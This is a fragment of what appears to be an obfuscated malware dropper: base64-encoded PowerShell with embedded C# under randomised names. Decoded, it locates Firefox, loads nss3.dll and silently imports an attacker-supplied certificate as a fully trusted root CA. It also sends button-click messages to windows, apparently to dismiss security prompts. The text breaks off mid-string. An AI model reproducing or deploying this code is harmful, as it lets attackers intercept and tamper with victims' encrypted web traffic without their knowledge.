"ID0gaFduZDsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKCSAgICAgICAgfQogICAgICAgIH0KICAgICAgIAkKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAKCXB1YmxpYyBzdGF0aWMgU3RyaW5nIGRCRkJhWFdydlVmKEludFB0ciBoV25kKXsKCQl1"+
"aW50IHBJRCA9IDA7CgkJdWludCB0aHJlYWRJRCA9IEdldFdpbmRvd1RocmVhZFByb2Nlc3NJZChoV25kLCBvdXQgcElEKTsKCQlTdHJpbmcgc1Byb2MgPSBudWxsOwoJICAgIEludFB0ciBoYW5kbGVUb1NuYXBzaG90ID0gSW50UHRyLlplcm87CgkgICAgdHJ5Cgkg"+
"ICAgewoJICAgICAgICBQUk9DRVNTRU5UUlkzMiBwcm9jRW50cnkgPSBuZXcgUFJPQ0VTU0VOVFJZMzIoKTsKCSAgICAgICAgcHJvY0VudHJ5LmR3U2l6ZSA9IChVSW50MzIpTWFyc2hhbC5TaXplT2YodHlwZW9mKFBST0NFU1NFTlRSWTMyKSk7CgkgICAgICAgIGhh"+
"bmRsZVRvU25hcHNob3QgPSBDcmVhdGVUb29saGVscDMyU25hcHNob3QoKHVpbnQpU25hcHNob3RGbGFncy5Qcm9jZXNzLCAwKTsKCSAgICAgICAgaWYgKFByb2Nlc3MzMkZpcnN0KGhhbmRsZVRvU25hcHNob3QsIHJlZiBwcm9jRW50cnkpKQoJICAgICAgICB7Cgkg"+
"ICAgICAgIGRvCgkgICAgICAgIHsKCSAgICAgICAgICAgIGlmIChwSUQgPT0gcHJvY0VudHJ5LnRoMzJQcm9jZXNzSUQpCgkgICAgICAgICAgICB7CgkgICAgICAgICAgICBzUHJvYyA9IHByb2NFbnRyeS5zekV4ZUZpbGU7CgkgICAgICAgICAgICBicmVhazsKCSAg"+
"ICAgICAgICAgIH0KCSAgICAgICAgfSB3aGlsZSAoUHJvY2VzczMyTmV4dChoYW5kbGVUb1NuYXBzaG90LCByZWYgcHJvY0VudHJ5KSk7CgkgICAgICAgIH0KCSAgICAgICAgZWxzZQoJICAgICAgICB7CgkgICAgICAgIAl0aHJvdyBuZXcgQXBwbGljYXRpb25FeGNl"+
"cHRpb24oc3RyaW5nLkZvcm1hdCgiRmFpbGVkIHdpdGggd2luMzIgZXJyb3IgY29kZSB7MH0iLCBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCkpKTsKCSAgICAgICAgfQoJICAgIH0KCSAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQoJICAgIHsKCSAgICAgICAgdGhy"+
"b3cgbmV3IEFwcGxpY2F0aW9uRXhjZXB0aW9uKCJDYW4ndCBnZXQgdGhlIHByb2Nlc3MuIiwgZXgpOwoJICAgIH0KCSAgICBmaW5hbGx5CgkgICAgewoJICAgICAgICBDbG9zZUhhbmRsZShoYW5kbGVUb1NuYXBzaG90KTsKCSAgICB9CgkgICAgcmV0dXJuIHNQcm9j"+
"OwoJfQoJcHVibGljIHN0YXRpYyBib29sIEJ0bXFEYklMY1Jkc1N6KEludFB0ciBoV25kLCBJbnRQdHIgbFBhcmFtKQoJewoJCVNlbmRNZXNzYWdlKGhXbmQsIEJNX0NMLCBJbnRQdHIuWmVybywgSW50UHRyLlplcm8pOwoJCXJldHVybiB0cnVlOwoJfQp9CiJAOwpb"+
"dnFjalFdOjpPTXlub1pobygiJUNFUlQlIik7CmV4aXQKfQpZWW9PWXlZZnVrcg==",
gixNS: "ZnVuY3Rpb24gdGNYUXl3cVVTcWpIewpBZGQtVHlwZSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5JTzsKdXNpbmcgTWlj"+
"cm9zb2Z0LldpbjMyOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5Db21wb25lbnRN"+
"b2RlbDsKCnB1YmxpYyBzZWFsZWQgY2xhc3MgYm1pb1NhYXVLeAp7Cglwcml2YXRlIHN0YXRpYyB2b2xhdGlsZSBibWlvU2FhdUt4"+
"IENTYWJjbjsKCXByaXZhdGUgc3RhdGljIG9iamVjdCBFYXFMSGRNaGRCWkVUckkgPSBuZXcgT2JqZWN0KCk7CglwdWJsaWMgc3Rh"+
"dGljIGJtaW9TYWF1S3ggZGdhaGhRb3l0ZUZLaWooKQogICAgewogICAgICAgIGlmIChDU2FiY24gPT0gbnVsbCkKICAgICAgICB7"+
"CiAgICAgICAgICAgIGxvY2sgKEVhcUxIZE1oZEJaRVRySSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKENTYWJj"+
"biA9PSBudWxsKQogICAgICAgICAgICAgICAgQ1NhYmNuID0gbmV3IGJtaW9TYWF1S3goKTsKICAgICAgICAgICAgfQogICAgICAg"+
"IH0KICAgICAgICByZXR1cm4gQ1NhYmNuOwogICAgfQoJCgljb25zdCBpbnQgTVNRRWNOekd3TmQ9MDsKICAgIAogICAgW0RsbElt"+
"cG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BbnNpKV0KICAgIHN0YXRpYyBl"+
"eHRlcm4gSW50UHRyIExvYWRMaWJyYXJ5KFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFN0cildc3RyaW5nIGxwRmlsZU5hbWUp"+
"OwoKICAgIHByaXZhdGUgc3RhdGljIEludFB0ciBmWmkoc3RyaW5nIGxpYlBhdGgpCiAgICB7CiAgICAgICAgaWYgKFN0cmluZy5J"+
"c051bGxPckVtcHR5KGxpYlBhdGgpKQogICAgICAgICAgICB0aHJvdyBuZXcgQXJndW1lbnROdWxsRXhjZXB0aW9uKCJsaWJQYXRo"+
"Iik7CgogICAgICAgIEludFB0ciBtb2R1bGVIYW5kbGUgPSBMb2FkTGlicmFyeShsaWJQYXRoKTsKICAgICAgICBpZiAobW9kdWxl"+
"SGFuZGxlID09IEludFB0ci5aZXJvKQogICAgICAgIHsKICAgICAgICAgICAgaW50IGxhc3RlcnJvciA9IE1hcnNoYWwuR2V0TGFz"+
"dFdpbjMyRXJyb3IoKTsKICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5Gb3JtYXQoIkxhc3QgZXJy"+
"b3I6IDB4ezA6WH0iLGxhc3RlcnJvcikpOwogICAgICAgICAgICBXaW4zMkV4Y2VwdGlvbiBpbm5lckV4ID0gbmV3IFdpbjMyRXhj"+
"ZXB0aW9uKGxhc3RlcnJvcik7CiAgICAgICAgICAgIGlubmVyRXguRGF0YS5BZGQoIkxhc3RXaW4zMkVycm9yIiwgbGFzdGVycm9y"+
"KTsKICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiY2FuJ3QgbG9hZCBETEwgIiArIGxpYlBhdGgsIGlubmVyRXgpOwog"+
"ICAgICAgIH0KICAgICAgICByZXR1cm4gbW9kdWxlSGFuZGxlOwogICAgfQoKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIp"+
"XQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldFByb2NBZGRyZXNzKEludFB0ciBoTW9kdWxlLCBzdHJpbmcgcHJv"+
"Y2VkdXJlTmFtZSk7CgkvL0NvbnN0YW50cwogICAgY29uc3QgdWludCBOU1NfSU5JVF9SRUFET05MWT0weDE7CiAgICBjb25zdCB1"+
"aW50IE5TU19JTklUX05PQ0VSVERCID0gMHgyOwogICAgY29uc3QgdWludCBOU1NfSU5JVF9OT01PRERCID0gMHg0OwogICAgY29u"+
"c3QgdWludCBOU1NfSU5JVF9GT1JDRU9QRU4gPSAweDg7CiAgICBjb25zdCB1aW50IE5TU19JTklUX05PUk9PVElOSVQgPSAweDEw"+
"OwogICAgY29uc3QgdWludCBOU1NfSU5JVF9PUFRJTUlaRVNQQUNFID0gMHgyMDsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUEsx"+
"MVRIUkVBRFNBRkUgPSAweDQwOwogICAgY29uc3QgdWludCBOU1NfSU5JVF9QSzExUkVMT0FEID0gMHg4MDsKICAgIGNvbnN0IHVp"+
"bnQgTlNTX0lOSVRfTk9QSzExRklOQUxJWkUgPSAweDEwMDsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUkVTRVJWRUQgPSAweDIw"+
"MDsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfQ09PUEVSQVRFID0gTlNTX0lOSVRfUEsxMVRIUkVBRFNBRkUgfCBOU1NfSU5JVF9Q"+
"SzExUkVMT0FEIHwgTlNTX0lOSVRfTk9QSzExRklOQUxJWkUgfCBOU1NfSU5JVF9SRVNFUlZFRDsKCiAgICBjb25zdCBzdHJpbmcg"+
"U0VDTU9EX0RCID0gInNlY21vZC5kYiI7CiAgICAvL1N0cnVjdHVyZXMKICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1"+
"ZW50aWFsKV0KICAgIHB1YmxpYyBzdHJ1Y3QgU0VDSXRlbSAKICAgIHsKICAgICAgICBwdWJsaWMgdWludCBpVHlwZTsKICAgICAg"+
"ICBwdWJsaWMgSW50UHRyIGJEYXRhOwogICAgICAgIHB1YmxpYyB1aW50IGlEYXRhTGVuOwogICAgfQoKICAgIFtTdHJ1Y3RMYXlv"+
"dXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgIHByaXZhdGUgc3RydWN0IENlcnRUcnVzdHMKICAgIHsKICAgICAgICBwdWJs"+
"aWMgaW50IGlTaXRlOwogICAgICAgIHB1YmxpYyBpbnQgaUVtYWlsOwogICAgICAgIHB1YmxpYyBpbnQgaVNvZnQ7CiAgICB9Cgog"+
"ICAgcHJpdmF0ZSBlbnVtIFNFQ0NlcnRVc2FnZQogICAgewogICAgICAgIGNlcnRVc2FnZVNTTENsaWVudCA9IDAsCiAgICAgICAg"+
"Y2VydFVzYWdlU1NMU2VydmVyID0gMSwKICAgICAgICBjZXJ0VXNhZ2VTU0xTZXJ2ZXJXaXRoU3RlcFVwID0gMiwKICAgICAgICBj"+
"ZXJ0VXNhZ2VTU0xDQSA9IDMsCiAgICAgICAgY2VydFVzYWdlRW1haWxTaWduZXIgPSA0LAogICAgICAgIGNlcnRVc2FnZUVtYWls"+
"UmVjaXBpZW50ID0gNSwKICAgICAgICBjZXJ0VXNhZ2VPYmplY3RTaWduZXIgPSA2LAogICAgICAgIGNlcnRVc2FnZVVzZXJDZXJ0"+
"SW1wb3J0ID0gNywKICAgICAgICBjZXJ0VXNhZ2VWZXJpZnlDQSA9IDgsCiAgICAgICAgY2VydFVzYWdlUHJvdGVjdGVkT2JqZWN0"+
"U2lnbmVyID0gOSwKICAgICAgICBjZXJ0VXNhZ2VTdGF0dXNSZXNwb25kZXIgPSAxMCwKICAgICAgICBjZXJ0VXNhZ2VBbnlDQSA9"+
"IDExCiAgICB9CglbVW5tYW5hZ2VkRnVuY3Rpb25Qb2ludGVyKENhbGxpbmdDb252ZW50aW9uLkNkZWNsKV0KICAgIHByaXZhdGUg"+
"ZGVsZWdhdGUgaW50IHBua2JmWGNGb0duRnkoc3RyaW5nIHNDb25maWdEaXIsIHN0cmluZyBjZXJ0UHJlZml4LCBzdHJpbmcga2V5"+
"UHJlZml4LCBzdHJpbmcgc2VjTW9kTmFtZSwgdWludCBmbGFncyk7CgogICAgcHJpdmF0ZSBpbnQgRHJTbnFBKHN0cmluZyBzQ29u"+
"ZmlnRGlyLCBzdHJpbmcgY2VydFByZWZpeCwgc3RyaW5nIGtleVByZWZpeCwgc3RyaW5nIHNlY01vZE5hbWUsIHVpbnQgZmxhZ3Mp"+
"CiAgICB7CiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3ModUtmcVFJLCAiTlNTX0luaXRpYWxpemUiKTsKICAg"+
"ICAgICBwbmtiZlhjRm9HbkZ5IHB0ciA9IChwbmtiZlhjRm9HbkZ5KU1hcnNoYWwuR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50"+
"ZXIocFByb2MsIHR5cGVvZihwbmtiZlhjRm9HbkZ5KSk7CiAgICAgICAgcmV0dXJuIHB0cihzQ29uZmlnRGlyLCBjZXJ0UHJlZml4"+
"LCBrZXlQcmVmaXgsIHNlY01vZE5hbWUsIGZsYWdzKTsKICAgIH0KCiAgICBbVW5tYW5hZ2VkRnVuY3Rpb25Qb2ludGVyKENhbGxp"+
"bmdDb252ZW50aW9uLkNkZWNsKV0KICAgIHByaXZhdGUgZGVsZWdhdGUgSW50UHRyIERTV3J1KCk7CiAgICBwcml2YXRlIEludFB0"+
"ciBWbU5hUHFlKCkKICAgIHsKICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyh1S2ZxUUksICJDRVJUX0dldERl"+
"ZmF1bHRDZXJ0REIiKTsKICAgICAgICBEU1dydSBwdHIgPSAoRFNXcnUpTWFyc2hhbC5HZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9p"+
"bnRlcihwUHJvYywgdHlwZW9mKERTV3J1KSk7CiAgICAgICAgcmV0dXJuIHB0cigpOwogICAgfQoKICAgIFtVbm1hbmFnZWRGdW5j"+
"dGlvblBvaW50ZXIoQ2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wpXQogICAgcHJpdmF0ZSBkZWxlZ2F0ZSBJbnRQdHIgU1FURFp3cURs"+
"dHd3KCk7CiAgICBwcml2YXRlIEludFB0ciBBdWhST0FEKCkKICAgIHsKICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRk"+
"cmVzcyh1S2ZxUUksICJOU1NfU2h1dGRvd24iKTsKICAgICAgICBTUVREWndxRGx0d3cgcHRyID0gKFNRVERad3FEbHR3dylNYXJz"+
"aGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2YoU1FURFp3cURsdHd3KSk7CiAgICAgICAgcmV0"+
"dXJuIHB0cigpOwogICAgfQoKICAgIFtVbm1hbmFnZWRGdW5jdGlvblBvaW50ZXIoQ2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wpXQog"+
"ICAgcHJpdmF0ZSBkZWxlZ2F0ZSBpbnQgamd6dFBRWVVjQ3F0aShJbnRQdHIgY2VydGRiLCBpbnQgdXNhZ2UsIHVpbnQgbmNlcnRz"+
"LCByZWYgU0VDSXRlbVtdIGRlckNlcnRzLCByZWYgSW50UHRyIHJldENlcnRzLCB1aW50IGtlZXBDZXJ0cywgdWludCBjYU9ubHks"+
"IEludFB0ciBuaWNrbmFtZSk7CiAgICBwcml2YXRlIGludCBsTkFoWENxTkFPenJ5VShJbnRQdHIgY2VydGRiLCBpbnQgdXNhZ2Us"+
"IHVpbnQgbmNlcnRzLCByZWYgU0VDSXRlbVtdIGRlckNlcnRzLCByZWYgSW50UHRyIHJldENlcnRzLCB1aW50IGtlZXBDZXJ0cywg"+
"dWludCBjYU9ubHksIEludFB0ciBuaWNrbmFtZSkKICAgIHsKICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyh1"+
"S2ZxUUksICJDRVJUX0ltcG9ydENlcnRzIik7CiAgICAgICAgamd6dFBRWVVjQ3F0aSBwdHIgPSAoamd6dFBRWVVjQ3F0aSlNYXJz"+
"aGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2Yoamd6dFBRWVVjQ3F0aSkpOwogICAgICAgIHJl"+
"dHVybiBwdHIoY2VydGRiLCB1c2FnZSwgbmNlcnRzLCByZWYgZGVyQ2VydHMsIHJlZiByZXRDZXJ0cywga2VlcENlcnRzLCBjYU9u"+
"bHksIG5pY2tuYW1lKTsKICAgIH0KCiAgICBwcml2YXRlIGRlbGVnYXRlIGludCBRb1FsaHhjWnRXYlUoSW50UHRyIGNlcnRkYiwg"+
"SW50UHRyIGNlcnQsIHJlZiBDZXJ0VHJ1c3RzIHRydXN0KTsKICAgIHByaXZhdGUgaW50IGVuVGcoSW50UHRyIGNlcnRkYiwgSW50"+
"UHRyIGNlcnQsIHJlZiBDZXJ0VHJ1c3RzIHRydXN0KQogICAgewogICAgICAgIEludFB0ciBwUHJvYyA9IEdldFByb2NBZGRyZXNz"+
"KHVLZnFRSSwgIkNFUlRfQ2hhbmdlQ2VydFRydXN0Iik7CiAgICAgICAgUW9RbGh4Y1p0V2JVIHB0ciA9IChRb1FsaHhjWnRXYlUp"+
"TWFyc2hhbC5HZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcihwUHJvYywgdHlwZW9mKFFvUWxoeGNadFdiVSkpOwogICAgICAg"+
"IHJldHVybiBwdHIoY2VydGRiLCBjZXJ0LCByZWYgdHJ1c3QpOwogICAgfQoKICAgIFtVbm1hbmFnZWRGdW5jdGlvblBvaW50ZXIo"+
"Q2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wpXQogICAgcHVibGljIGRlbGVnYXRlIGludCBNTm5IT2tndlRYY2Z4KEludFB0ciBjZXJ0"+
"LCB1aW50IG5jZXJ0cyk7CiAgICBwcml2YXRlIGludCB4QlRqdFlobnZXKEludFB0ciBjZXJ0LCB1aW50IG5jZXJ0cykKICAgIHsK"+
"ICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyh1S2ZxUUksICJDRVJUX0Rlc3Ryb3lDZXJ0QXJyYXkiKTsKICAg"+
"ICAgICBNTm5IT2tndlRYY2Z4IHB0ciA9IChNTm5IT2tndlRYY2Z4KU1hcnNoYWwuR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50"+
"ZXIocFByb2MsIHR5cGVvZihNTm5IT2tndlRYY2Z4KSk7CiAgICAgICAgcmV0dXJuIHB0cihjZXJ0LCBuY2VydHMpOwogICAgfQoK"+
"CXByaXZhdGUgSW50UHRyIHVLZnFRSSA9IEludFB0ci5aZXJvOwoJCglwdWJsaWMgQm9vbGVhbiBTd1EoU3RyaW5nIHNDZXJ0KXsK"+
"ICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoImJtaW9TYWF1S3ggU3RhcnQiKTsKCQlTdHJpbmcgc1Byb2ZpbGUgPSBH"+
"ZXRQcm9maWxlKCk7CiAgICAgICAgaWYgKFN0cmluZy5Jc051bGxPckVtcHR5KHNQcm9maWxlKSkKICAgICAgICB7CiAgICAgICAg"+
"ICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiUHJvZmlsZSBub3QgZm91bmQiKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNl"+
"OwogICAgICAgIH0KICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlByb2ZpbGUgcGF0aD0iK3NQcm9maWxlKTsKICAg"+
"ICAgICBieXRlW10gYkNlcnQgPSBHZXRDZXJ0QXNCeXRlQXJyYXkoc0NlcnQpOwoJCUludFB0ciBpcENlcnQgPSBNYXJzaGFsLkFs"+
"bG9jSEdsb2JhbChiQ2VydC5MZW5ndGgpOwoJCXRyeQogICAgICAgIHsKICAgICAgICAgICAgRGlyZWN0b3J5SW5mbyBkaUluc3Rh"+
"bGxQYXRoID0gR2V0SVAoKTsKICAgICAgICAgICAgU3RyaW5nIHNDdXJyZW50RGlyZWN0b3J5ID0gRGlyZWN0b3J5LkdldEN1cnJl"+
"bnREaXJlY3RvcnkoKTsKICAgICAgICAgICAgRGlyZWN0b3J5LlNldEN1cnJlbnREaXJlY3RvcnkoZGlJbnN0YWxsUGF0aC5GdWxs"+
"TmFtZSk7CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiSW5zdGFsbCBwYXRoPSIrZGlJbnN0YWxsUGF0aC5G"+
"dWxsTmFtZSk7CiAgICAgICAgICAgIGZvcmVhY2goRmlsZUluZm8gZmlEbGwgaW4gZGlJbnN0YWxsUGF0aC5HZXRGaWxlcygiKi5k"+
"bGwiKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKGZpRGxsLk5hbWUuRXF1YWxzKCJicmVha3BhZGluamVjdG9y"+
"LmRsbCIpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIGZaaShmaURsbC5GdWxsTmFtZSk7CiAgICAgICAgICAgIH0KICAgICAg"+
"ICAgICAgdUtmcVFJID0gZlppKGRpSW5zdGFsbFBhdGguRnVsbE5hbWUgKyAiXFxuc3MzLmRsbCIpOwogICAgICAgICAgICBpZiAo"+
"dUtmcVFJLkVxdWFscyhJbnRQdHIuWmVybykpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldy"+
"aXRlTGluZSgiRmlyZWZveCBpbnN0YWxsIGRpcmVjdG9yeSBub3QgZm91bmQiKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxz"+
"ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBEaXJlY3RvcnkuU2V0Q3VycmVudERpcmVjdG9yeShzQ3VycmVudERpcmVjdG9y"+
"eSk7CiAgICAgICAgICAgIC8vSW5pdCBjZXJ0CiAgICAgICAgICAgIE1hcnNoYWwuQ29weShiQ2VydCwgMCwgaXBDZXJ0LCBiQ2Vy"+
"dC5MZW5ndGgpOwogICAgICAgICAgICBTRUNJdGVtIENlcnRJdGVtID0gbmV3IFNFQ0l0ZW0oKTsKICAgICAgICAgICAgQ2VydEl0"+
"ZW0uaVR5cGUgPSAzOwogICAgICAgICAgICBDZXJ0SXRlbS5iRGF0YSA9IGlwQ2VydDsKICAgICAgICAgICAgQ2VydEl0ZW0uaURh"+
"dGFMZW4gPSAodWludCliQ2VydC5MZW5ndGg7CiAgICAgICAgICAgIFNFQ0l0ZW1bXSBhQ2VydEl0ZW0gPSBuZXcgU0VDSXRlbVsx"+
"XTsKICAgICAgICAgICAgYUNlcnRJdGVtWzBdID0gQ2VydEl0ZW07CgogICAgICAgICAgICBDZXJ0VHJ1c3RzIENlcnRUcnVzdCA9"+
"IG5ldyBDZXJ0VHJ1c3RzKCk7CiAgICAgICAgICAgIENlcnRUcnVzdC5pU2l0ZSA9IDB4MTA7CiAgICAgICAgICAgIENlcnRUcnVz"+
"dC5pRW1haWwgPSAweDEwOwogICAgICAgICAgICBDZXJ0VHJ1c3QuaVNvZnQgPSAweDEwOwogICAgICAgICAgICBTeXN0ZW0uQ29u"+
"c29sZS5Xcml0ZUxpbmUoIkluaXQgY2VydCBPSyIpOwogICAgICAgICAgICAvL0VuZCBpbml0IGNlcnQKICAgICAgICAgICAgaW50"+
"IHN0YXR1cyA9IERyU25xQShzUHJvZmlsZSwgIiIsICIiLCBTRUNNT0RfREIsIE5TU19JTklUX09QVElNSVpFU1BBQ0UpOwogICAg"+
"ICAgICAgICBpZiAoc3RhdHVzICE9IE1TUUVjTnpHd05kKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29u"+
"c29sZS5Xcml0ZUxpbmUoU3RyaW5nLkZvcm1hdCgiTlNTX0luaXRSZWFkV3JpdGUgRVJST1IuIFN0YXR1czogMHh7MDpYfTtMYXN0"+
"IGVycm9yOiAweHswOlh9Iiwgc3RhdHVzLCBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCkpKTsKICAgICAgICAgICAgICAgIHJl"+
"dHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBJbnRQdHIgYmQgPSBWbU5hUHFlKCk7CiAgICAgICAgICAgIGlm"+
"IChiZCA9PSBJbnRQdHIuWmVybykKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5l"+
"KCJDRVJUX0dldERlZmF1bHRDZXJ0REIgRmFpbGVkIik7CiAgICAgICAgICAgICAgICBBdWhST0FEKCk7CiAgICAgICAgICAgICAg"+
"ICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJDRVJUX0dl"+
"dERlZmF1bHRDZXJ0REIgT0siKTsKICAgICAgICAgICAgSW50UHRyIENlcnRUb0ltcG9ydCA9IG5ldyBJbnRQdHIoKTsKICAgICAg"+
"ICAgICAgSW50UHRyW10gYUNlcnRUb0ltcG9ydCA9IG5ldyBJbnRQdHJbMV07CiAgICAgICAgICAgIHN0YXR1cyA9IGxOQWhYQ3FO"+
"QU96cnlVKGJkLCAxMSwgMSwgcmVmIGFDZXJ0SXRlbSwgcmVmIENlcnRUb0ltcG9ydCwgMSwgMCwgSW50UHRyLlplcm8pOwogICAg"+
"ICAgICAgICBpZiAoc3RhdHVzICE9IE1TUUVjTnpHd05kKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29u"+
"c29sZS5Xcml0ZUxpbmUoU3RyaW5nLkZvcm1hdCgiQ0VSVF9JbXBvcnRDZXJ0cyBFUlJPUi4gU3RhdHVzOiAweHswOlh9O0xhc3Qg"+
"ZXJyb3I6IDB4ezA6WH0iLCBzdGF0dXMsIE1hcnNoYWwuR2V0TGFzdFdpbjMyRXJyb3IoKSkpOwogICAgICAgICAgICAgICAgQXVo"+
"Uk9BRCgpOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIFN5c3RlbS5Db25z"+
"b2xlLldyaXRlTGluZSgiQ0VSVF9JbXBvcnRDZXJ0cyBPSyIpOwogICAgICAgICAgICBNYXJzaGFsLkNvcHkoQ2VydFRvSW1wb3J0"+
"LCBhQ2VydFRvSW1wb3J0LCAwLCAxKTsKICAgICAgICAgICAgc3RhdHVzID0gZW5UZyhiZCwgYUNlcnRUb0ltcG9ydFswXSwgcmVm"+
"IENlcnRUcnVzdCk7CiAgICAgICAgICAgIGlmICggc3RhdHVzICE9IE1TUUVjTnpHd05kKSAKICAgICAgICAgICAgewogICAgICAg"+
"ICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5Gb3JtYXQoIkNFUlRfQ2hhbmdlQ2VydFRydXN0IEVSUk9S"+
"LiBTdGF0dXM6IDB4ezA6WH07TGFzdCBlcnJvcjogMHh7MDpYfSIsIHN0YXR1cywgTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigp"+
"KSk7CiAgICAgICAgICAgICAgICBBdWhST0FEKCk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH07"+
"CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiQ0VSVF9DaGFuZ2VDZXJ0VHJ1c3QgT0siKTsKICAgICAgICAg"+
"ICAgeEJUanRZaG52VyhDZXJ0VG9JbXBvcnQsIDEpOwogICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIkFkZCBj"+
"ZXJ0IE9LIik7CiAgICAgICAgfQogICAgICAgIGNhdGNoIChFeGNlcHRpb24pe30KICAgICAgICBmaW5hbGx5CiAgICAgICAgewog"+
"ICAgICAgICAgICBBdWhST0FEKCk7CiAgICAgICAgfQoJCXJldHVybiB0cnVlOwoJfQoJcHJpdmF0ZSBTdHJpbmcgR2V0UHJvZmls"+
"ZSgpCiAgICB7CiAgICAgICAgU3RyaW5nIEZGUHJvZmlsZSA9IFBhdGguQ29tYmluZShFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVu"+
"dFZhcmlhYmxlKCJBUFBEQVRBIiksIEAiTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzIik7CiAgICAgICAgaWYgKERpcmVjdG9yeS5F"+
"eGlzdHMoRkZQcm9maWxlKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChEaXJlY3RvcnkuR2V0RGlyZWN0b3JpZXMoRkZQcm9m"+
"aWxlLCAiKi5kZWZhdWx0IikuTGVuZ3RoID4gMCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgcmV0dXJuIERpcmVjdG9y"+
"eS5HZXREaXJlY3RvcmllcyhGRlByb2ZpbGUsICIqLmRlZmF1bHQiKVswXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAg"+
"ICByZXR1cm4gIiI7CiAgICB9CglwdWJsaWMgYnl0ZVtdIEdldENlcnRBc0J5dGVBcnJheShTdHJpbmcgc0NlcnQpCiAgICB7CiAg"+
"ICAgICAgdHJ5CiAgICAgICAgewogICAgICAgICAgICByZXR1cm4gQ29udmVydC5Gcm9tQmFzZTY0U3RyaW5nKHNDZXJ0KTsKICAg"+
"ICAgICB9CiAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbil7fQogICAgICAgIHJldHVybiBudWxsOwogICAgfQoJcHJpdmF0ZSBEaXJl"+
"Y3RvcnlJbmZvIEdldElQKCkKICAgIHsKICAgICAgICBEaXJlY3RvcnlJbmZvIGZwID0gbnVsbDsKICAgICAgICAvLyBnZXQgZmly"+
"ZWZveCBwYXRoIGZyb20gcmVnaXN0cnkKICAgICAgICAvLyB3ZSdsbCBzZWFyY2ggdGhlIDMyYml0IGluc3RhbGwgbG9jYXRpb24K"+
"ICAgICAgICBSZWdpc3RyeUtleSBsb2NhbE1hY2hpbmUxID0gUmVnaXN0cnkuTG9jYWxNYWNoaW5lLk9wZW5TdWJLZXkoQCJTT0ZU"+
"V0FSRVxNb3ppbGxhXE1vemlsbGEgRmlyZWZveCIsIGZhbHNlKTsKICAgICAgICAvLyBhbmQgbGV0cyB0cnkgdGhlIDY0Yml0IGlu"+
